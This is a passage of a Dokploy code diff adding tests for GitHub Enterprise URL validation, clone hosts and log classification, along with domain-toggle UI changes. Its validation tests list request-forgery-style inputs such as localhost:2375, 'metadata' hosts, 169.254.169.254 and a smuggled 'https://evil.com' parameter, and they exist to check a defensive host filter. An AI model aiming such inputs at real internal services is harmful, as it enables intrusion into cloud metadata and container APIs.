+					value: [{ id: `${config.vaultUri}/secrets/second` }],
+					nextLink: null,
+				});
+			}
+			return jsonResponse({
+				value: [{ id: `${config.vaultUri}/secrets/first` }],
+				nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
+			});
+		});
+
+		const names = await azureClient.listSecretNames?.(config);
+
+		expect(names).toEqual(["first", "second"]);
+	});
+});
+
+describe("doppler client", () => {
+	it("propagates auth errors with the status code", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
+		await expect(
+			dopplerClient.getSecrets(
+				{ providerType: "doppler", serviceToken: "bad" },
+				["FOO"],
+			),
+		).rejects.toThrow("status 401");
+	});
+});

apps/dokploy/__test__/git-provider/github-clone-host.test.ts

@@ -0,0 +1,106 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// cloneGithubRepository builds a shell command; the only thing under test here
+// is which host ends up in the clone URL, so the app auth is stubbed out.
+const mockFindGithubById = vi.hoisted(() => vi.fn());
+
+vi.mock("@dokploy/server/services/github", () => ({
+	findGithubById: mockFindGithubById,
+}));
+
+vi.mock("@octokit/auth-app", () => ({
+	createAppAuth: vi.fn(),
+}));
+
+vi.mock("octokit", () => ({
+	Octokit: class {
+		auth = async () => ({ token: "gh-token" });
+	},
+}));
+
+const { cloneGithubRepository } = await import(
+	"@dokploy/server/utils/providers/github"
+);
+
+const provider = (githubUrl: string) => ({
+	githubId: "gh-1",
+	githubUrl,
+	githubAppId: 1,
+	githubPrivateKey: "key",
+	githubInstallationId: "42",
+});
+
+const clone = async () => {
+	const command = await cloneGithubRepository({
+		appName: "my-app",
+		owner: "acme",
+		repository: "web",
+		branch: "main",
+		githubId: "gh-1",
+		enableSubmodules: false,
+		serverId: null,
+	});
+	return command.replace(/\\/g, "");
+};
+
+describe("cloneGithubRepository host", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+	});
+
+	it("clones from github.com for a default provider", async () => {
+		mockFindGithubById.mockResolvedValue(provider("https://github.com"));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.com/acme/web.git",
+		);
+		expect(command).not.toContain("ghe.com");
+	});
+
+	it("clones from the Enterprise host, not github.com", async () => {
+		mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
+		);
+		expect(command).not.toContain("github.com");
+	});
+
+	it("clones from a self-hosted Enterprise Server host", async () => {
+		mockFindGithubById.mockResolvedValue(
+			provider("https://github.corp.acme.com"),
+		);
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
+		);
+	});
+
+	it("keeps an explicit port in the clone host", async () => {
+		mockFindGithubById.mockResolvedValue(
+			provider("https://github.acme.com:8443"),
+		);
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
+		);
+	});
+
+	it("falls back to github.com for a provider stored before this feature", async () => {
+		mockFindGithubById.mockResolvedValue(provider(""));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.com/acme/web.git",
+		);
+	});
+});

apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts

@@ -0,0 +1,168 @@
+import {
+	DEFAULT_GITHUB_API_URL,
+	DEFAULT_GITHUB_URL,
+	deriveGithubApiUrl,
+	normalizeGithubUrl,
+	parseGithubBaseUrl,
+} from "@dokploy/server/utils/providers/github";
+import { describe, expect, it } from "vitest";
+
+const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
+	"url" in result ? result.url : null;
+
+describe("normalizeGithubUrl", () => {
+	it("defaults to github.com when empty", () => {
+		expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl("   ")).toBe(DEFAULT_GITHUB_URL);
+	});
+
+	it("assumes https when no scheme is given", () => {
+		expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
+	});
+
+	it("strips paths, queries and trailing slashes", () => {
+		expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
+			"https://acme.ghe.com",
+		);
+		expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
+			"https://acme.ghe.com",
+		);
+		expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
+			"https://github.acme.com",
+		);
+	});
+
+	it("keeps an explicit port", () => {
+		expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
+			"https://github.acme.com:8443",
+		);
+	});
+
+	it("falls back to github.com on unusable input", () => {
+		expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
+			DEFAULT_GITHUB_URL,
+		);
+		expect(normalizeGithubUrl("http://github.internal")).toBe(
+			DEFAULT_GITHUB_URL,
+		);
+		expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
+	});
+});
+
+describe("parseGithubBaseUrl", () => {
+	it("accepts github.com and Enterprise hosts", () => {
+		expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
+			"https://acme.ghe.com",
+		);
+		// A self-hosted instance behind the corporate network is a valid target.
+		expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
+			"https://github.corp.acme.com",
+		);
+		expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
+			"https://github.acme.com:8443",
+		);
+	});
+
+	it("treats an absent value as github.com", () => {
+		// Not specified is different from specified wrong.
+		expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
+		expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
+		expect(urlOf(parseGithubBaseUrl("  "))).toBe(DEFAULT_GITHUB_URL);
+	});
+
+	it("rejects plaintext http", () => {
+		expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
+	});
+
+	it("rejects dotless hostnames", () => {
+		expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
+	});
+
+	it("rejects a dotless hostname hidden behind the DNS root label", () => {
+		// "metadata." resolves like "metadata" but the trailing dot would satisfy
+		// a naive `includes(".")` check.
+		expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
+	});
+
+	it("never falls back to github.com on a typo", () => {
+		// The symptom that opened the ticket: a provider silently pointing at
+		// github.com and reporting that it cannot find the repositories.
+		for (const typo of [
+			"htps://acme.ghe.com",
+			"ftp://acme.ghe.com",
+			"https://",
+			"acme .ghe.com",
+		]) {
+			const result = parseGithubBaseUrl(typo);
+			expect(result, typo).toHaveProperty("error");
+			expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
+		}
+	});
+});
+
+describe("deriveGithubApiUrl", () => {
+	it("maps github.com to api.github.com", () => {
+		expect(deriveGithubApiUrl("https://github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+		expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
+	});
+
+	it("prefixes api. for data residency tenants", () => {
+		expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
+			"https://api.acme.ghe.com",
+		);
+		expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
+			"https://api.americancreditacceptance.ghe.com",
+		);
+	});
+
+	it("uses /api/v3 for Enterprise Server", () => {
+		expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
+			"https://github.acme.com/api/v3",
+		);
+		expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
+			"https://github.acme.com:8443/api/v3",
+		);
+	});
+
+	it("does not treat a lookalike host as data residency", () => {
+		// Must not match the .ghe.com branch just because the string contains it.
+		expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
+			"https://ghe.com.acme.io/api/v3",
+		);
+	});
+
+	it("still detects data residency behind the DNS root label", () => {
+		// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
+		// through to the /api/v3 branch.
+		expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
+			"https://api.acme.ghe.com",
+		);
+	});
+
+	it("maps www.github.com, which a user may well type", () => {
+		// Not dead weight: GitHub never redirects a manifest there, but the value
+		// comes from a text field. Without this it would derive
+		// https://www.github.com/api/v3.
+		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+	});
+});
+
+describe("providers created before Enterprise support", () => {
+	it("keeps pointing at github.com", () => {
+		// The column defaults to https://github.com, but a null must not break it.
+		expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
+		expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
+	});
+});

apps/dokploy/__test__/git-provider/github-setup-handler.test.ts

@@ -0,0 +1,143 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// The gh_init branch runs on a GET the user can be linked into, so a rejected
+// host must produce a 400 *before* any outbound request is made.
+const mockValidateRequest = vi.hoisted(() => vi.fn());
+const mockHasPermission = vi.hoisted(() => vi.fn());
+const mockCreateGithub = vi.hoisted(() => vi.fn());
+const mockOctokitRequest = vi.hoisted(() => vi.fn());
+
+vi.mock("@dokploy/server", async (importOriginal) => {
+	const actual = await importOriginal<typeof import("@dokploy/server")>();
+	return {
+		...actual,
+		validateRequest: mockValidateRequest,
+		createGithub: mockCreateGithub,
+	};
+});
+
+vi.mock("@dokploy/server/services/permission", () => ({
+	hasPermission: mockHasPermission,
+}));
+
+vi.mock("octokit", () => ({
+	Octokit: class {
+		request = mockOctokitRequest;
+	},
+}));
+
+const { default: handler } = await import("@/pages/api/providers/github/setup");
+
+const ORG = "org-1";
+const USER = "user-1";
+
+const buildRes = () => {
+	const res = {
+		statusCode: 0,
+		body: undefined as unknown,
+		redirectedTo: undefined as string | undefined,
+		status(code: number) {
+			res.statusCode = code;
+			return res;
+		},
+		json(payload: unknown) {
+			res.body = payload;
+			return res;
+		},
+		redirect(_code: number, url: string) {
+			res.redirectedTo = url;
+			return res;
+		},
+	};
+	return res;
+};
+
+const call = async (githubUrl?: string | string[]) => {
+	const res = buildRes();
+	const req = {
+		query: {
+			code: "manifest-code",
+			state: `gh_init:${ORG}:${USER}`,
+			...(githubUrl === undefined ? {} : { githubUrl }),
+		},
+		headers: {},
+	} as unknown as Parameters<typeof handler>[0];
+
+	await handler(req, res as unknown as Parameters<typeof handler>[1]);
+	return res;
+};
+
+describe("github setup handler — host validation", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+		mockValidateRequest.mockResolvedValue({
+			user: { id: USER },
+			session: { activeOrganizationId: ORG },
+		});
+		mockHasPermission.mockResolvedValue(true);
+		mockOctokitRequest.mockResolvedValue({
+			data: {
+				name: "Dokploy",
+				html_url: "https://acme.ghe.com/apps/dokploy",
+				id: 1,
+				client_id: "cid",
+				client_secret: "csecret",
+				webhook_secret: "wsecret",
+				pem: "key",
+			},
+		});
+		mockCreateGithub.mockResolvedValue(undefined);
+	});
+
+	it.each([
+		["http://acme.ghe.com", "plaintext http"],
+		["http://localhost:2375", "internal service over http"],
+		["https://metadata", "dotless hostname"],
+		["htps://acme.ghe.com", "scheme typo"],
+	])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
+		const res = await call(githubUrl);
+
+		expect(res.statusCode).toBe(400);
+		expect(mockOctokitRequest).not.toHaveBeenCalled();
+		expect(mockCreateGithub).not.toHaveBeenCalled();
+	});
+
+	it("throws on a repeated parameter instead of silently picking one", async () => {
+		// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
+		await expect(
+			call(["https://acme.ghe.com", "https://evil.com"]),
+		).rejects.toThrow();
+
+		expect(mockCreateGithub).not.toHaveBeenCalled();
+	});
+
+	it("accepts a data residency tenant", async () => {
+		await call("https://acme.ghe.com");
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
+			ORG,
+			USER,
+		);
+	});
+
+	it("accepts a self-hosted Enterprise Server host", async () => {
+		await call("https://github.corp.acme.com");
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
+			ORG,
+			USER,
+		);
+	});
+
+	it("treats an absent parameter as github.com", async () => {
+		await call(undefined);
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://github.com" }),
+			ORG,
+			USER,
+		);
+	});
+});

apps/dokploy/__test__/git-provider/github-url-parity.test.ts

@@ -0,0 +1,75 @@
+import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
+import { describe, expect, it } from "vitest";
+import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
+
+/**
+ * The client cannot import from @dokploy/server (node-only modules), so
+ * resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
+ * stops the two from drifting apart — and they already did once, when the
+ * client stripped trailing slashes but not paths and the form action disagreed
+ * with the persisted row.
+ *
+ * The invariant: for the same input, both must make the same accept/reject
+ * decision, and agree on the URL when they accept.
+ */
+const INPUTS = [
+	// Accepted
+	"https://github.com",
+	"github.com",
+	"https://acme.ghe.com",
+	"acme.ghe.com",
+	"https://github.corp.acme.com",
+	"https://github.acme.com:8443",
+	"https://acme.ghe.com/",
+	"https://acme.ghe.com///",
+	"https://acme.ghe.com/enterprises/foo",
+	"https://acme.ghe.com/some/path?x=1",
+	"  acme.ghe.com  ",
+	"https://acme.ghe.com.",
+	"https://169.254.169.254",
+	"https://127.0.0.1",
+	"https://2130706433",
+	"https://0x7f.1",
+	"",
+	"   ",
+	// Rejected
+	"http://acme.ghe.com",
+	"http://localhost:2375",
+	"https://[::1]",
+	"https://[::ffff:127.0.0.1]",
+	"https://metadata",
+	"https://metadata.",
+	"https://localhost",
+	"https://localhost.",
+	"htps://acme.ghe.com",
+	"ftp://acme.ghe.com",
+	"https://",
+	"acme .ghe.com",
+	"esto no es una url",
+];
+
+describe("client and server agree on GitHub base URLs", () => {
+	it.each(INPUTS)("%j", (input) => {
+		const client = resolveGithubBaseUrl(input);
+		const server = parseGithubBaseUrl(input);
+
+		const clientAccepted = !client.error;
+		const serverAccepted = "url" in server;
+
+		expect(
+			clientAccepted,
+			`accept/reject differs for ${JSON.stringify(input)}`,
+		).toBe(serverAccepted);
+
+		if (clientAccepted && "url" in server) {
+			expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
+				server.url,
+			);
+		}
+	});
+
+	it("both treat an empty value as github.com", () => {
+		expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
+		expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
+	});
+});

apps/dokploy/__test__/logs/log-classification.test.ts

@@ -0,0 +1,42 @@
+import { getLogType } from "@/components/dashboard/docker/logs/utils";
+import { expect, test } from "vitest";
+
+test("classifies real failures as error", () => {
+	expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
+	expect(getLogType("[ERROR] something went wrong").type).toBe("error");
+	expect(getLogType("Deployment failed").type).toBe("error");
+	expect(
+		getLogType(
+			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
+		).type,
+	).toBe("error");
+});
+
+test("does not classify explicit non-error key/values as error (#4538)", () => {
+	// ofelia job-completion summary for a successful run
+	expect(
+		getLogType(
+			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
+		).type,
+	).not.toBe("error");
+
+	expect(getLogType("request done, error: null").type).not.toBe("error");
+	expect(getLogType("checks passed, failures=0").type).not.toBe("error");
+	expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
+	expect(getLogType('job done failed=false error=""').type).not.toBe("error");
+});
+
+test("keeps errors whose value merely starts with a no-error word", () => {
+	expect(getLogType("connect failed: no route to host").type).toBe("error");
+	expect(getLogType("connection failed: no such host").type).toBe("error");
+	expect(
+		getLogType("error: none of the configured nodes are available").type,
+	).toBe("error");
+	expect(getLogType("error: nil pointer dereference").type).toBe("error");
+	expect(getLogType("request failed: 0 bytes received").type).toBe("error");
+});
+
+test("keeps statusCode-based classification", () => {
+	expect(getLogType('{"statusCode": "500"}').type).toBe("error");
+	expect(getLogType('{"statusCode": "204"}').type).toBe("success");
+});

apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts

@@ -39,6 +39,7 @@ const ENTERPRISE_RESOURCES = [
 	"logs",
 	"monitoring",
 	"auditLog",
+	"vaultProvider",
 ];
 
 describe("enterpriseOnlyResources set", () => {

apps/dokploy/__test__/traefik/forward-auth.test.ts

@@ -35,6 +35,7 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
+	enabled: true,
 };
 
 describe("forwardAuthMiddlewareName", () => {

apps/dokploy/__test__/traefik/traefik.test.ts

@@ -151,6 +151,7 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
+	enabled: true,
 };
 
 const baseRedirect: Redirect = {

apps/dokploy/__test__/utils/hostname-validation.test.ts

@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
 		"a.b.c.example.co",
 		"xn--80ak6aa92e.com",
 		"123.example.com",
+		"example",
+		"dokploy-server",
+		"localhost",
 	])("accepts valid hostname %s", (host) => {
 		expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
 	});
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
 		"bbn_client.example.com",
 		"-example.com",
 		"example-.com",
-		"example",
 		"exa mple.com",
 		"example..com",
 		"",

apps/dokploy/__test__/utils/log-type.test.ts

@@ -0,0 +1,108 @@
+import { describe, expect, test } from "vitest";
+import { getLogType } from "@/components/dashboard/docker/logs/utils";
+
+describe("getLogType", () => {
+	describe("explicit level declared by structured loggers", () => {
+		test("JSON string levels (pino, winston, zap)", () => {
+			expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
+		});
+
+		test("JSON numeric levels (pino, bunyan)", () => {
+			expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
+		});
+
+		test("syslog/GELF numeric levels", () => {
+			expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
+		});
+
+		test("GCP-style severity and ECS log.level", () => {
+			expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
+				"error",
+			);
+			expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
+				"warning",
+			);
+			expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
+				"error",
+			);
+		});
+
+		test("logfmt levels", () => {
+			expect(
+				getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
+			).toBe("error");
+			expect(
+				getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
+			).toBe("info");
+			expect(getLogType("level=warn msg=careful").type).toBe("warning");
+		});
+
+		test("declared level wins over keywords in the message (#4589, #1996)", () => {
+			// "version"/"GET" in this pino line would otherwise match the debug keywords
+			const pinoError =
+				'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
+			expect(getLogType(pinoError).type).toBe("error");
+
+			// info line containing error-like keywords (#4589)
+			expect(
+				getLogType(
+					'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
+				).type,
+			).toBe("info");
+
+			// successful job summary with "failed: false, error: none" (#4538)
+			expect(
+				getLogType(
+					'level=info msg="Finished job, failed: false, skipped: false, error: none"',
+				).type,
+			).toBe("info");
+		});
+
+		test("declared level wins over statusCode", () => {
+			expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
+		});
+
+		test("unknown level names fall back to keyword detection", () => {
+			expect(
+				getLogType('{"level":"verbose","msg":"connection failed"}').type,
+			).toBe("error");
+		});
+
+		test("env-var-like text is not treated as logfmt level", () => {
+			expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
+				"error",
+			);
+		});
+	});
+
+	describe("fallback detection for unstructured logs (unchanged)", () => {
+		test("statusCode classification", () => {
+			expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
+		});
+
+		test("keyword classification", () => {
+			expect(getLogType("error: something broke").type).toBe("error");
+			expect(getLogType("warning: disk almost full").type).toBe("warning");
+			expect(getLogType("Server listening on port 8080").type).toBe("success");
+		});
+
+		test("defaults to info", () => {
+			expect(getLogType("hello world").type).toBe("info");
+		});
+	});
+});

apps/dokploy/components/dashboard/application/build/show.tsx

@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
 	z.object({
 		buildType: z.literal(BuildType.nixpacks),
 		publishDirectory: z.string().optional(),
+		isStaticSpa: z.boolean().default(false),
 	}),
 	z.object({
 		buildType: z.literal(BuildType.railpack),
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
 			return {
 				buildType: BuildType.nixpacks,
 				publishDirectory: data.publishDirectory || undefined,
+				isStaticSpa: data.isStaticSpa ?? false,
 			};
 		case BuildType.paketo_buildpacks:
 			return {
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 
 	const buildType = form.watch("buildType");
 	const railpackVersion = form.watch("railpackVersion");
+	const publishDirectory = form.watch("publishDirectory");
 	const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
 
 	useEffect(() => {
@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 					? data.herokuVersion
 					: null,
 			isStaticSpa:
-				data.buildType === BuildType.static ? data.isStaticSpa : null,
+				data.buildType === BuildType.static ||
+				data.buildType === BuildType.nixpacks
+					? data.isStaticSpa
+					: null,
 			railpackVersion:
 				data.buildType === BuildType.railpack
 					? data.railpackVersion || "0.15.4"
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 								)}
 							/>
 						)}
+						{buildType === BuildType.nixpacks && publishDirectory && (
+							<FormField
+								control={form.control}
+								name="isStaticSpa"
+								render={({ field }) => (
+									<FormItem>
+										<FormControl>
+											<div className="flex items-center gap-x-2 p-2">
+												<Checkbox
+													id="checkboxIsStaticSpaNixpacks"
+													value={String(field.value)}
+													checked={field.value}
+													onCheckedChange={field.onChange}
+												/>
+												<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
+													Single Page Application (SPA)
+												</FormLabel>
+											</div>
+										</FormControl>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+						)}
 						{buildType === BuildType.static && (
 							<FormField
 								control={form.control}

apps/dokploy/components/dashboard/application/domains/columns.tsx

@@ -14,6 +14,7 @@ import Link from "next/link";
 import { DialogAction } from "@/components/shared/dialog-action";
 import { Badge } from "@/components/ui/badge";
 import { Button } from "@/components/ui/button";
+import { Switch } from "@/components/ui/switch";
 import {
 	Tooltip,
 	TooltipContent,
@@ -35,7 +36,9 @@ interface ColumnsProps {
 	validationStates: ValidationStates;
 	handleValidateDomain: (host: string) => Promise<void>;
 	handleDeleteDomain: (domainId: string) => Promise<void>;
+	handleToggleEnable: (domainId: string) => Promise<void>;
 	isDeleting: boolean;
+	isToggling: boolean;
 	serverIp?: string;
 	canCreateDomain: boolean;
 	canDeleteDomain: boolean;
@@ -47,7 +50,9 @@ export const createColumns = ({
 	validationStates,
 	handleValidateDomain,
 	handleDeleteDomain,
+	handleToggleEnable,
 	isDeleting,
+	isToggling,
 	serverIp,
 	canCreateDomain,
 	canDeleteDomain,
@@ -249,6 +254,29 @@ export const createColumns = ({
 			);
 		},
 	},
+	{
+		id: "status",
+		header: "Status",
+		cell: ({ row }) => {
+			const domain = row.original;
+			if (!canCreateDomain) {
+				return (
+					<Badge variant={domain.enabled ? "outline" : "secondary"}>
+						{domain.enabled ? "Enabled" : "Disabled"}
+					</Badge>
+				);
+			}
+			return (
+				<div className="flex items-center">
+					<Switch
+						checked={domain.enabled}
+						onCheckedChange={() => handleToggleEnable(domain.domainId)}
+						disabled={isToggling}
+					/>
+				</div>
+			);
+		},
+	},
 	{
 		id: "actions",
 		header: "Actions",

apps/dokploy/components/dashboard/application/domains/handle-domain.tsx

@@ -46,6 +46,7 @@ import {
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { api } from "@/utils/api";
+import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type CacheType = "fetch" | "cache";
 
@@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 			customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
 		})
 			.then(async () => {
-				toast.success(dictionary.success);
+				toast.success(
+					dictionary.success,
+					data.domainType === "compose"
+						? { description: COMPOSE_REDEPLOY_TOAST }
+						: undefined,
+				);
 
 				if (data.domainType === "application") {
 					await utils.domain.byApplicationId.invalidate({
@@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 				</DialogHeader>
 				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
 
-				{type === "compose" && (
-					<AlertBlock type="info" className="mb-4">
-						Whenever you make changes to domains, remember to redeploy your
-						compose to apply the changes.
-					</AlertBlock>
-				)}
+				{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
 
 				<Form {...form}>
 					<form

apps/dokploy/components/dashboard/application/domains/redeploy-hint.tsx

@@ -0,0 +1,19 @@
+import { AlertBlock } from "@/components/shared/alert-block";
+
+/**
+ * Domains attached to a compose service are rendered as docker labels and only
+ * take effect on the next deployment. These strings keep the "redeploy required"
+ * wording consistent across the add/edit dialog, the domains list and the
+ * toasts shown after create/update/delete/toggle operations.
+ */
+export const COMPOSE_REDEPLOY_HINT =
+	"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
+
+export const COMPOSE_REDEPLOY_TOAST =
+	"Redeploy the compose to apply the changes.";
+
+export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
+	<AlertBlock type="info" className={className}>
+		{COMPOSE_REDEPLOY_HINT}
+	</AlertBlock>
+);

apps/dokploy/components/dashboard/application/domains/show-domains.tsx

@@ -44,6 +44,7 @@ import {
 	DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
 import {
 	Table,
 	TableBody,
@@ -58,11 +59,13 @@ import {
 	TooltipProvider,
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
 import { createColumns } from "./columns";
 import { DnsHelperModal } from "./dns-helper-modal";
 import { AddDomain } from "./handle-domain";
 import { HandleForwardAuth } from "./handle-forward-auth";
+import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type ValidationState = {
 	isLoading: boolean;
@@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
 		api.domain.validateDomain.useMutation();
 	const { mutateAsync: deleteDomain, isPending: isRemoving } =
 		api.domain.delete.useMutation();
+	const { mutateAsync: toggleEnable, isPending: isToggling } =
+		api.domain.toggleEnable.useMutation();
+
+	const handleToggleEnable = async (domainId: string) => {
+		try {
+			const result = await toggleEnable({ domainId });
+			refetch();
+			toast.success(
+				result.enabled ? "Domain enabled" : "Domain disabled",
+				result.requiresRedeploy
+					? { description: COMPOSE_REDEPLOY_TOAST }
+					: undefined,
+			);
+		} catch {
+			toast.error("Error updating the domain");
+		}
+	};
 
 	const handleDeleteDomain = async (domainId: string) => {
 		try {
 			await deleteDomain({ domainId });
 			refetch();
-			toast.success("Domain deleted successfully");
+			toast.success(
+				"Domain deleted successfully",
+				type === "compose"
+					? { description: COMPOSE_REDEPLOY_TOAST }
+					: undefined,
+			);
 		} catch {
 			toast.error("Error deleting domain");
 		}
@@ -200,7 +225,9 @@ export const ShowDomains = ({ id, type }: Props) => {
 		validationStates,
 		handleValidateDomain,
 		handleDeleteDomain,
+		handleToggleEnable,
 		isDeleting: isRemoving,
+		isToggling,
